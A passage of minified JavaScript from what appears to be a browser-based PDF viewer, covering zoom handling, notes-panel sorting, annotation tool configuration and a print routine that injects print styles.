0===n?void 0:n.group)||"";r(i?Ps.openElement("toolsOverlay"):Ps.closeElement("toolsOverlay")),vt.getToolMode().name===t&&Cu(t)?r(Ps.toggleElement("toolStylePopup")):(r(Ps.closeElement("toolStylePopup")),vt.setToolMode(t),r(Ps.setActiveToolGroup(i)))};function Ou(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Au(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Au(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Au(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function _u(e){var t=function(e){var t={};e.sort((function(e,t){return e.startZoom-t.startZoom}));for(var n=0;n<e.length;n++){var r=e[n],o=e[n+1];t["".concat(r.step/100)]=o?[r.startZoom/100,o.startZoom/100]:[r.startZoom/100,null]}return t}(window.instance.UI.getZoomStepFactors()),n=Object.keys(t).find((function(n){var r=t[n];return function(e,t){var n=Ou(t,2),r=n[0],o=n[1];if(null===r)return e<o;if(null===o)return e>=r;return e>=r&&e<o}(e,r)}));return parseFloat(n)}var Tu=[],ku=-1;function Pu(e,t){var n=function(e){var t=document.getElementsByClassName("DocumentContainer")[0],n=document.getElementsByClassName("document")[0],r=window.innerWidth/2,o=window.innerHeight/2;return{x:(r+t.scrollLeft-n.offsetLeft)*e-r+t.offsetLeft,y:(o+t.scrollTop-n.offsetTop)*e-o+t.offsetTop}}(t/e),r=n.x,o=n.y;vt.zoomTo(t,r,o),ku=t}function Mu(){Tu=[]}function Ru(){Mu(),vt.fitToWidth()}function ju(){Mu(),vt.fitToPage()}function Lu(){var e=vt.getZoom();if(ku>0&&e!==ku&&Mu(),e!==Zt()){var t=_u(e);Tu.length>0&&Tu[Tu.length-1]<0?t=Math.abs(Tu.pop()):Tu.push(t),Pu(e,Math.min(e+t,Zt()))}}function Iu(){var e=vt.getZoom();if(ku>0&&e!==ku&&Mu(),e!==qt()){var t=_u(e);Tu.length>0&&Tu[Tu.length-1]>0?t=Tu.pop():Tu.push(-1*t),Pu(e,Math.max(e-t,qt()))}}function Nu(e){Mu(),Pu(vt.getZoom(),e)}var Du=n(30),Fu=n.n(Du),Bu=n(149),Hu=n.n(Bu),Vu="image",zu="pdf",Uu="office",Gu="legacyOffice",Wu="webviewerServer",qu="xod",Zu="contentEdit",Yu="all",$u=function(e,t,n,r,o){var i=Math.sin(o),a=Math.cos(o);return{x:a*(n-e)+i*(r-t)+e,y:a*(r-t)-i*(n-e)+t}},Ku=function(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:1;return e=e.toString(16),t=t.toString(16),n=n.toString(16),r=Math.round(255*r).toString(16),1===e.length&&(e="0".concat(e)),1===t.length&&(t="0".concat(t)),1===n.length&&(n="0".concat(n)),1===r.length&&(r="0".concat(r)),"#".concat(e).concat(t).concat(n).concat(r)},Xu=function(e){var t=1;9===e.length&&(t=(parseInt(e.slice(7,9),16)/255).toFixed(2));var n=parseInt(e.slice(1,3),16),r=parseInt(e.slice(3,5),16),o=parseInt(e.slice(5,7),16);return"rgba(".concat(n,", ").concat(r,", ").concat(o,", ").concat(t,")")},Qu=function(e){var t=parseInt(e.substring(1,3),16),n=parseInt(e.substring(3,5),16),r=parseInt(e.substring(5,7),16);return t<40&&n<40&&r<40},Ju=function(e){return e instanceof Annotations.CaretAnnotation?"caret":e instanceof Annotations.CustomAnnotation?"custom":e instanceof Annotations.EllipseAnnotation?"ellipse":e instanceof Annotations.FileAttachmentAnnotation?"fileattachment":e instanceof Annotations.FreeHandAnnotation?"freehand":e instanceof Annotations.FreeTextAnnotation&&e.getIntent()===window.Annotations.FreeTextAnnotation.Intent.FreeTextCallout?"callout":e instanceof Annotations.FreeTextAnnotation?"freetext":e instanceof Annotations.LineAnnotation?"line":e instanceof Annotations.Link?"other":e instanceof Annotations.PolygonAnnotation?"polygon":e instanceof Annotations.PolylineAnnotation?"polyline":e instanceof Annotations.RectangleAnnotation?"rectangle":e instanceof Annotations.RedactionAnnotation?"redact":e instanceof Annotations.SignatureWidgetAnnotation?"signature":e instanceof Annotations.StampAnnotation?"stamp":e instanceof Annotations.StickyAnnotation?"stickyNote":e instanceof Annotations.TextHighlightAnnotation?"highlight":e instanceof Annotations.TextStrikeoutAnnotation?"strikeout":e instanceof Annotations.TextUnderlineAnnotation?"underline":e instanceof Annotations.TextSquigglyAnnotation?"squiggly":e instanceof Annotations.Model3DAnnotation?"3D":"other"},ec=function(e){var t=e.getReplies().reduce((function(e,t){var n=t.DateModified||t.DateCreated;return n&&new Date(n)>new Date(e)?n:e}),0);return t||(e.DateModified?e.DateModified:e.DateCreated?e.DateCreated:void 0)};var tc={position:{getSortedNotes:function(e){return e.sort((function(e,t){if(e.PageNumber===t.PageNumber){var n=(a=e.PageNumber,(4-vt.getRotation(a))*(Math.PI/2)),r=function(e){var t;return{x:(t=e<=vt.getTotalPages()?vt.getPageInfo(e):{width:0,height:0}).width/2,y:t.height/2}}(e.PageNumber),o=[$u(r.x,r.y,e.X,e.Y,n),$u(r.x,r.y,e.X+e.Width,e.Y+e.Height,n)],i=[$u(r.x,r.y,t.X,t.Y,n),$u(r.x,r.y,t.X+t.Width,t.Y+t.Height,n)];return o.reduce((function(e,t){return t.y<e?t.y:e}),Number.MAX_SAFE_INTEGER)-i.reduce((function(e,t){return t.y<e?t.y:e}),Number.MAX_SAFE_INTEGER)}var a;return e.PageNumber-t.PageNumber}))},shouldRenderSeparator:function(e,t){return t.PageNumber!==e.PageNumber},getSeparatorContent:function(e,t,n){var r=n.pageLabels;return"".concat(st.t("option.shared.page")," ").concat(r[t.PageNumber-1])}},createdDate:{getSortedNotes:function(e){return e.sort((function(e,t){return(e.DateCreated||0)-(t.DateCreated||0)}))},shouldRenderSeparator:function(e,t){var n=e.DateCreated,r=t.DateCreated;if(n&&r){return Fu()(n).format("MMM D, YYYY")!==Fu()(r).format("MMM D, YYYY")}return!(!n&&!r)},getSeparatorContent:function(e,t){var n=t.DateCreated;if(n){var r=Fu()(new Date).format("MMM D, YYYY"),o=Fu()(new Date(new Date-864e5)).format("MMM D, YYYY"),i=Fu()(new Date(n)).format("MMM D, YYYY");return i===r?st.t("option.notesPanel.separator.today"):i===o?st.t("option.notesPanel.separator.yesterday"):i}return st.t("option.notesPanel.separator.unknown")}},modifiedDate:{getSortedNotes:function(e){return e.sort((function(e,t){return(ec(t)||0)-(ec(e)||0)}))},shouldRenderSeparator:function(e,t){var n=ec(e),r=ec(t);if(n&&r){return Fu()(n).format("MMM D, YYYY")!==Fu()(r).format("MMM D, YYYY")}return!(!n&&!r)},getSeparatorContent:function(e,t){var n=ec(t);if(n){var r=Fu()(new Date).format("MMM D, YYYY"),o=Fu()(new Date(new Date-864e5)).format("MMM D, YYYY"),i=Fu()(n).format("MMM D, YYYY");return i===r?st.t("option.notesPanel.separator.today"):i===o?st.t("option.notesPanel.separator.yesterday"):i}return st.t("option.notesPanel.separator.unknown")}},status:{getSortedNotes:function(e){return e.sort((function(e,t){var n=""===e.getStatus()?st.t("option.state.none").toUpperCase():st.t("option.state.".concat(e.getStatus().toLowerCase())).toUpperCase(),r=""===t.getStatus()?st.t("option.state.none").toUpperCase():st.t("option.state.".concat(t.getStatus().toLowerCase())).toUpperCase();return n<r?-1:n>r?1:0}))},shouldRenderSeparator:function(e,t){return e.getStatus()!==t.getStatus()},getSeparatorContent:function(e,t){return""===t.getStatus()?st.t("option.state.none"):st.t("option.state.".concat(t.getStatus().toLowerCase()))}},author:{getSortedNotes:function(e){return e.sort((function(e,t){var n,r,o=null===(n=vt.getDisplayAuthor(e.Author))||void 0===n?void 0:n.toUpperCase(),i=null===(r=vt.getDisplayAuthor(t.Author))||void 0===r?void 0:r.toUpperCase();return o<i?-1:o>i?1:0}))},shouldRenderSeparator:function(e,t){return vt.getDisplayAuthor(e.Author)!==vt.getDisplayAuthor(t.Author)},getSeparatorContent:function(e,t){return vt.getDisplayAuthor(t.Author)}},type:{getSortedNotes:function(e){return e.sort((function(e,t){var n=Ju(e),r=Ju(t);return n<r?-1:n>r?1:0}))},shouldRenderSeparator:function(e,t){return Ju(e)!==Ju(t)},getSeparatorContent:function(e,t){return st.t("option.type.".concat(Ju(t)))}},color:{getSortedNotes:function(e){return e.sort((function(e,t){var n="#485056",r="#485056";return t.Color&&(n=Ku(t.Color.R,t.Color.G,t.Color.B,t.Color.A)),e.Color&&(r=Ku(e.Color.R,e.Color.G,e.Color.B,e.Color.A)),n<r?-1:n>r?1:0}))},shouldRenderSeparator:function(e,t){var n="#485056",r="#485056";return t.Color&&(n=Ku(t.Color.R,t.Color.G,t.Color.B,t.Color.A)),e.Color&&(r=Ku(e.Color.R,e.Color.G,e.Color.B,e.Color.A)),n!==r},getSeparatorContent:function(e,t){var n="#485056";return t.Color&&(n=Ku(t.Color.R,t.Color.G,t.Color.B,t.Color.A)),s.a.createElement("div",{style:{display:"flex",flexDirection:"row",alignItems:"center"}},st.t("option.notesOrder.color"),s.a.createElement("div",{style:{background:n,width:"7px",height:"7px",borderRadius:"10000000px",marginLeft:"10px"}}))}}},nc=function(){return tc},rc={POSITION:"position",CREATED_DATE:"createdDate",MODIFIED_DATE:"modifiedDate",STATUS:"status",AUTHOR:"author",TYPE:"type",COLOR:"color"},oc={signature:{icon:"icon-tool-signature",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateSignature"],annotationCheck:function(e){return e instanceof window.Annotations.FreeHandAnnotation&&e.Subject===st.t("annotation.signature")}},freeHand:{icon:"icon-tool-pen-line",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateFreeHand","AnnotationCreateFreeHand2","AnnotationCreateFreeHand3","AnnotationCreateFreeHand4"],annotationCheck:function(e){return e instanceof window.Annotations.FreeHandAnnotation}},freeHandHighlight:{icon:"icon-tool-pen-highlight",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateFreeHandHighlight","AnnotationCreateFreeHandHighlight2","AnnotationCreateFreeHandHighlight3","AnnotationCreateFreeHandHighlight4"],annotationCheck:function(e){return e instanceof window.Annotations.FreeHandAnnotation}},freeText:{icon:"icon-tool-text-free-text",iconColor:"TextColor",currentPalette:"TextColor",availablePalettes:["TextColor","StrokeColor","FillColor"],toolNames:["AnnotationCreateFreeText","AnnotationCreateFreeText2","AnnotationCreateFreeText3","AnnotationCreateFreeText4"],annotationCheck:function(e){return e instanceof window.Annotations.FreeTextAnnotation&&e.getIntent()===window.Annotations.FreeTextAnnotation.Intent.FreeText}},dateFreeText:{icon:"icon-tool-fill-and-sign-calendar",iconColor:"TextColor",currentPalette:"TextColor",availablePalettes:["TextColor","StrokeColor","FillColor"],toolNames:["AnnotationCreateDateFreeText","AnnotationCreateDateFreeText2","AnnotationCreateDateFreeText3","AnnotationCreateDateFreeText4"],annotationCheck:function(e){return e instanceof window.Annotations.FreeTextAnnotation&&e.getIntent()===window.Annotations.FreeTextAnnotation.Intent.FreeText}},distanceMeasurement:{icon:"ic_annotation_distance_black_24px",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateDistanceMeasurement","AnnotationCreateDistanceMeasurement2","AnnotationCreateDistanceMeasurement3","AnnotationCreateDistanceMeasurement4"],hasLineEndings:!0,annotationCheck:function(e){return e instanceof window.Annotations.LineAnnotation&&"LineDimension"===e.IT&&e.Measure}},perimeterMeasurement:{icon:"ic_annotation_perimeter_black_24px",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreatePerimeterMeasurement","AnnotationCreatePerimeterMeasurement2","AnnotationCreatePerimeterMeasurement3","AnnotationCreatePerimeterMeasurement4"],hasLineEndings:!0,annotationCheck:function(e){return e instanceof window.Annotations.PolylineAnnotation&&"PolyLineDimension"===e.IT&&e.Measure}},arcMeasurement:{icon:"icon-tool-measurement-arc",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateArcMeasurement","AnnotationCreateArcMeasurement2","AnnotationCreateArcMeasurement3","AnnotationCreateArcMeasurement4"],annotationCheck:function(e){return e instanceof window.Annotations.ArcAnnotation&&"ArcDimension"===e.IT&&e.Measure}},rectangularAreaMeasurement:{icon:"ic_annotation_rectangular_area_black_24px",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor","FillColor"],toolNames:["AnnotationCreateRectangularAreaMeasurement","AnnotationCreateRectangularAreaMeasurement2","AnnotationCreateRectangularAreaMeasurement3","AnnotationCreateRectangularAreaMeasurement4"],annotationCheck:function(e){return e instanceof window.Annotations.PolygonAnnotation&&"PolygonDimension"===e.IT&&e.Measure&&e.isRectangularPolygon()}},cloudyRectangularAreaMeasurement:{icon:"ic_annotation_cloudy_rectangular_area_black_24px",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor","FillColor"],toolNames:["AnnotationCreateCloudyRectangularAreaMeasurement","AnnotationCreateCloudyRectangularAreaMeasurement2","AnnotationCreateCloudyRectangularAreaMeasurement3","AnnotationCreateCloudyRectangularAreaMeasurement4"],annotationCheck:function(e){return e instanceof window.Annotations.PolygonAnnotation&&"PolygonDimension"===e.IT&&e.Measure&&e.isRectangularPolygon()}},areaMeasurement:{icon:"ic_annotation_area_black_24px",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor","FillColor"],toolNames:["AnnotationCreateAreaMeasurement","AnnotationCreateAreaMeasurement2","AnnotationCreateAreaMeasurement3","AnnotationCreateAreaMeasurement4"],annotationCheck:function(e){return e instanceof window.Annotations.PolygonAnnotation&&"PolygonDimension"===e.IT&&e.Measure}},ellipseMeasurement:{icon:"ic_annotation_ellipse_area_black",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor","FillColor"],toolNames:["AnnotationCreateEllipseMeasurement","AnnotationCreateEllipseMeasurement2","AnnotationCreateEllipseMeasurement3","AnnotationCreateEllipseMeasurement4"],annotationCheck:function(e){return e instanceof window.Annotations.EllipseAnnotation&&"EllipseDimension"===e.IT&&e.Measure}},countMeasurement:{icon:"ic_check_black_24px",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateCountMeasurement","AnnotationCreateCountMeasurement2","AnnotationCreateCountMeasurement3","AnnotationCreateCountMeasurement4"],annotationCheck:function(e){return e instanceof window.Annotations.StickyAnnotation&&e.getCustomData("trn-is-count")}},callout:{icon:"icon-tool-callout-line",iconColor:"StrokeColor",currentPalette:"TextColor",availablePalettes:["TextColor","StrokeColor","FillColor"],toolNames:["AnnotationCreateCallout","AnnotationCreateCallout2","AnnotationCreateCallout3","AnnotationCreateCallout4"],annotationCheck:function(e){return e instanceof window.Annotations.FreeTextAnnotation&&e.getIntent()===window.Annotations.FreeTextAnnotation.Intent.FreeTextCallout}},line:{icon:"icon-tool-shape-line",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateLine","AnnotationCreateLine2","AnnotationCreateLine3","AnnotationCreateLine4"],hasLineEndings:!0,annotationCheck:function(e){return e instanceof window.Annotations.LineAnnotation&&"None"===e.getStartStyle()&&"None"===e.getEndStyle()}},arrow:{icon:"icon-tool-shape-arrow",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateArrow","AnnotationCreateArrow2","AnnotationCreateArrow3","AnnotationCreateArrow4"],hasLineEndings:!0,annotationCheck:function(e){return e instanceof window.Annotations.LineAnnotation&&("None"!==e.getStartStyle()||"None"!==e.getEndStyle())}},polygon:{icon:"icon-tool-shape-polygon",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor","FillColor"],toolNames:["AnnotationCreatePolygon","AnnotationCreatePolygon2","AnnotationCreatePolygon3","AnnotationCreatePolygon4"],annotationCheck:function(e){return e instanceof window.Annotations.PolygonAnnotation&&"cloudy"!==e.Style}},cloud:{icon:"icon-tool-shape-cloud",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor","FillColor"],toolNames:["AnnotationCreatePolygonCloud","AnnotationCreatePolygonCloud2","AnnotationCreatePolygonCloud3","AnnotationCreatePolygonCloud4"],annotationCheck:function(e){return e instanceof window.Annotations.PolygonAnnotation&&"cloudy"===e.Style}},highlight:{icon:"icon-tool-text-manipulation-highlight",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateTextHighlight","AnnotationCreateTextHighlight2","AnnotationCreateTextHighlight3","AnnotationCreateTextHighlight4"],annotationCheck:function(e){return e instanceof window.Annotations.TextHighlightAnnotation}},underline:{icon:"icon-tool-text-manipulation-underline",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateTextUnderline","AnnotationCreateTextUnderline2","AnnotationCreateTextUnderline3","AnnotationCreateTextUnderline4"],annotationCheck:function(e){return e instanceof window.Annotations.TextUnderlineAnnotation}},squiggly:{icon:"icon-tool-text-manipulation-squiggly",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateTextSquiggly","AnnotationCreateTextSquiggly2","AnnotationCreateTextSquiggly3","AnnotationCreateTextSquiggly4"],annotationCheck:function(e){return e instanceof window.Annotations.TextSquigglyAnnotation}},strikeout:{icon:"icon-tool-text-manipulation-strikethrough",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateTextStrikeout","AnnotationCreateTextStrikeout2","AnnotationCreateTextStrikeout3","AnnotationCreateTextStrikeout4"],annotationCheck:function(e){return e instanceof window.Annotations.TextStrikeoutAnnotation}},redaction:{icon:"icon-tool-select-area-redaction",iconColor:"StrokeColor",currentPalette:"TextColor",availablePalettes:["TextColor","StrokeColor","FillColor"],toolNames:["AnnotationCreateRedaction","AnnotationCreateRedaction2","AnnotationCreateRedaction3","AnnotationCreateRedaction4"],annotationCheck:function(e){return e instanceof window.Annotations.RedactionAnnotation}},rectangle:{icon:"icon-tool-shape-rectangle",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor","FillColor"],toolNames:["AnnotationCreateRectangle","AnnotationCreateRectangle2","AnnotationCreateRectangle3","AnnotationCreateRectangle4"],annotationCheck:function(e){return e instanceof window.Annotations.RectangleAnnotation&&""===e.getCustomData("trn-form-field-type")}},ellipse:{icon:"icon-tool-shape-oval",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor","FillColor"],toolNames:["AnnotationCreateEllipse","AnnotationCreateEllipse2","AnnotationCreateEllipse3","AnnotationCreateEllipse4"],annotationCheck:function(e){return e instanceof window.Annotations.EllipseAnnotation}},arc:{icon:"icon-tool-arc",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateArc","AnnotationCreateArc2","AnnotationCreateArc3","AnnotationCreateArc4"],annotationCheck:function(e){return e instanceof window.Annotations.ArcAnnotation}},polyline:{icon:"icon-tool-shape-polyline",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreatePolyline","AnnotationCreatePolyline2","AnnotationCreatePolyline3","AnnotationCreatePolyline4"],hasLineEndings:!0,annotationCheck:function(e){return e instanceof window.Annotations.PolylineAnnotation}},stickyNote:{icon:"icon-tool-comment-line",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateSticky","AnnotationCreateSticky2","AnnotationCreateSticky3","AnnotationCreateSticky4"],annotationCheck:function(e){return e instanceof window.Annotations.StickyAnnotation}},changeView:{icon:"icon-tool-changeview",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateChangeViewTool","AnnotationCreateChangeViewTool2","AnnotationCreateChangeViewTool3","AnnotationCreateChangeViewTool4"],annotationCheck:function(e){return e instanceof window.Annotations.StampAnnotation&&e.ViewState}},image:{icon:"icon-tool-image-line",iconColor:null,currentPalette:null,availablePalettes:[],toolNames:["AnnotationCreateRubberStamp"],annotationCheck:function(e){return e instanceof window.Annotations.StampAnnotation&&"AnnotationCreateStamp"===e.ToolName}},stamp:{icon:"icon-tool-stamp-line",iconColor:null,currentPalette:null,availablePalettes:[],toolNames:["AnnotationCreateStamp"],annotationCheck:function(e){return e instanceof window.Annotations.StampAnnotation}},edit:{icon:"ic_select_black_24px",iconColor:null,currentPalette:null,availablePalettes:[],toolNames:["AnnotationEdit"],annotationCheck:null},pan:{icon:"ic_pan_black_24px",iconColor:null,currentPalette:null,availablePalettes:[],toolNames:["Pan"],annotationCheck:null},ContentEditTool:{icon:"ic_edit_page_24px",iconColor:null,currentPalette:null,availablePalettes:[],toolNames:["ContentEditTool"],annotationCheck:null},textSelect:{icon:"textselect_cursor",iconColor:null,currentPalette:null,availablePalettes:[],toolNames:["TextSelect"],annotationCheck:null},marqueeZoomTool:{icon:null,iconColor:null,currentPalette:null,availablePalettes:[],toolNames:["MarqueeZoomTool"],annotationCheck:null},eraser:{icon:"ic_annotation_eraser_black_24px",iconColor:null,currentPalette:null,availablePalettes:[],toolNames:["AnnotationEraserTool"],annotationCheck:function(e){return e instanceof window.Annotations.FreeHandAnnotation}},cropPage:{icon:"ic_crop_black_24px",iconColor:null,currentPalette:null,availablePalettes:[],toolNames:["CropPage"],annotationCheck:null},fileattachment:{icon:"ic_fileattachment_24px",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["AnnotationCreateFileAttachment"],annotationCheck:function(e){return e instanceof window.Annotations.FileAttachmentAnnotation}},sound:{icon:"ic_sound_24px",iconColor:"FillColor",currentPalette:"FillColor",availablePalettes:["FillColor","StrokeColor"],toolNames:[],annotationCheck:function(e){return e instanceof window.Annotations.SoundAnnotation}},threeDAnnotation:{icon:"icon-tool-model3d",iconColor:null,currentPalette:null,availablePalettes:[],toolNames:["AnnotationCreateThreeD"],annotationCheck:function(e){return e instanceof window.Annotations.Model3DAnnotation}},textField:{icon:"icon-form-field-text",iconColor:"TextColor",currentPalette:"TextColor",availablePalettes:["TextColor","StrokeColor","FillColor"],toolNames:["TextFormFieldCreateTool","TextFormFieldCreateTool2","TextFormFieldCreateTool3","TextFormFieldCreateTool4"],annotationCheck:function(e){return e instanceof window.Annotations.RectangleAnnotation&&"TextFormField"===e.getCustomData("trn-form-field-type")}},signatureFormField:{icon:"icon-form-field-signature",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["SignatureFormFieldCreateTool","SignatureFormFieldCreateTool2","SignatureFormFieldCreateTool3","SignatureFormFieldCreateTool4"],annotationCheck:function(e){return e instanceof window.Annotations.RectangleAnnotation&&"SignatureFormField"===e.getCustomData("trn-form-field-type")}},checkBoxFormField:{icon:"icon-form-field-checkbox",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["CheckBoxFormFieldCreateTool"],annotationCheck:function(e){return e instanceof window.Annotations.RectangleAnnotation&&"CheckBoxFormField"===e.getCustomData("trn-form-field-type")}},radioButtonFormField:{icon:"icon-form-field-radiobutton",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["StrokeColor"],toolNames:["RadioButtonFormFieldCreateTool"],annotationCheck:function(e){return e instanceof window.Annotations.RectangleAnnotation&&"RadioButtonFormField"===e.getCustomData("trn-form-field-type")}},listBoxFormField:{icon:"icon-form-field-listbox",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["TextColor","StrokeColor","FillColor"],toolNames:["ListBoxFormFieldCreateTool","ListBoxFormFieldCreateTool2","ListBoxFormFieldCreateTool3","ListBoxFormFieldCreateTool4"],annotationCheck:function(e){return e instanceof window.Annotations.RectangleAnnotation&&"ListBoxFormField"===e.getCustomData("trn-form-field-type")}},comboBoxFormField:{icon:"icon-form-field-combobox",iconColor:"StrokeColor",currentPalette:"StrokeColor",availablePalettes:["TextColor","StrokeColor","FillColor"],toolNames:["ComboBoxFormFieldCreateTool","ComboBoxFormFieldCreateTool2","ComboBoxFormFieldCreateTool3","ComboBoxFormFieldCreateTool4"],annotationCheck:function(e){return e instanceof window.Annotations.RectangleAnnotation&&"ComboBoxFormField"===e.getCustomData("trn-form-field-type")}}},ic=function(e){return Object.keys(oc).find((function(t){return oc[t].toolNames.includes(e)}))},ac=function(e){return Object.keys(oc).find((function(t){var n=oc[t].annotationCheck;return n&&n(e)}))},lc=function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return Object.keys(oc).reduce((function(e,n){return e[n]={},t.forEach((function(t){e[n][t]=oc[n][t]})),e}),{})},sc=function(e){return oc[e]||{icon:"icon - tool - pen and shape - phone - line"}};function uc(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function cc(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){uc(i,r,o,a,l,"next",e)}function l(e){uc(i,r,o,a,l,"throw",e)}a(void 0)}))}}var fc,dc=[],pc=1;Fu.a.extend(Hu.a);var hc=function(){var e=cc(regeneratorRuntime.mark((function e(t,n,r,o){var i,a,l,s,u,c,f,d,p,h,m,g,v,y,b,w,E,S,C=arguments;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(i=C.length>4&&void 0!==C[4]?C[4]:{},a=i.includeAnnotations,l=i.includeComments,s=i.maintainPageOrientation,u=i.onProgress,c=i.printQuality,f=void 0===c?pc:c,d=i.printWithoutModal,p=void 0!==d&&d,h=i.language,m=i.isPrintCurrentView,g=i.printedNoteDateFormat,v=i.pagesToPrint,vt.getDocument()){e.next=5;break}return e.abrupt("return");case 5:if(y=vt.getDocument().getType(),b=vt.getPrintablePDF())(w=window.open("","_blank")).document.write(st.t("message.preparingToPrint")),b.then((function(e){w.location.href=e.url}));else if(n&&y===zu)t(Ps.openElement("loadingModal")),mc().then((function(){t(Ps.closeElement("loadingModal"))}));else if(a||l||p){if(!v)for(v=[],E=1;E<=vt.getTotalPages();E++)v.push(E);m&&(v=[vt.getDocumentViewer().getCurrentPage()]),S=gc(v,l,a,s,f,r,o,g,u,m,h),Promise.all(S).then((function(e){vc(e)})).catch((function(e){console.error(e)}))}else t(Ps.openElement("printModal"));case 8:case"end":return e.stop()}}),e)})));return function(t,n,r,o){return e.apply(this,arguments)}}(),mc=function(){return vt.exportAnnotations().then((function(e){return vt.getDocument().getFileData({xfdfString:e,printDocument:!0}).then((function(e){var t=new Uint8Array(e),n=new Blob([t],{type:"application/pdf"}),r=document.getElementById("print-handler");return r.src=URL.createObjectURL(n),new Promise((function(e){r.addEventListener("load",(function t(){r.contentWindow.print(),r.removeEventListener("load",t),e()}))}))}))}))},gc=function(e,t,n,r,o,i,a,l,s,u,c){var f=[];return dc=[],pc=o,fc=a,e.forEach((function(e){var o=yc(e);if(f.push(bc(e,n,r,u)),s&&f[f.length-1].then((function(t){s(e,t)})),t&&o){var a=nc()[i].getSortedNotes(o);a.length&&f.push(wc(a,e,l,c)),s&&f[f.length-1].then((function(t){s(e,t)}))}})),f},vc=function(e){var t=document.getElementById("print-handler");t.innerHTML="";var n=document.createDocumentFragment();if(e.forEach((function(e){n.appendChild(e)})),t.appendChild(n),!Dt||Ft||Bt){if((Ft||Bt)&&(window.parent.document.getElementById("print-handler")&&window.parent.document.getElementById("print-handler").remove(),window.parent.document.body.appendChild(t.cloneNode(!0)),!window.parent.document.getElementById("print-handler-css"))){var r=window.parent.document.createElement("style");r.id="print-handler-css",r.textContent="\n #print-handler {\n display: none;\n }\n\n @media print {\n * {\n display: none! important;\n }\n\n html {\n height: 100%;\n display: block! important;\n }\n\n body {\n height: 100%;\n display: block! important;\n overflow: visible !important;\n padding: 0;\n }\n\n #print-handler {\n display: block !important;\n height: 100%;\n padding: 0;\n top: 0;\n bottom: 0;\n left: 0;\n right: 0;\n position: absolute;\n }\n\n #print-handler img {\n display: block !important;\n max-width: 100%;\n max-height: 100%;\n height: 100%;\n width: 100%;\n object-fit: contain;\n page-break-after: always;\n padding: 0;\n margin: 0;\n }\n\n #print-handler .page__container {\n box-sizing: border-box;\n display: flex !important;\n flex-direction: column;\n padding: 10px;\n min-height: 100%;\n min-width: 100%;\n font-size: 10px;\n }\n\n #print-handler .page__container .page__header {\n display: block !important;\n align-self: flex-start;\n font-size: 2rem;\n margin-bottom: 2rem;\n padding-bottom: 0.6rem;\n border-bottom: 0.1rem solid black;\n }\n\n #print-handler .page__container .note {\n display: flex 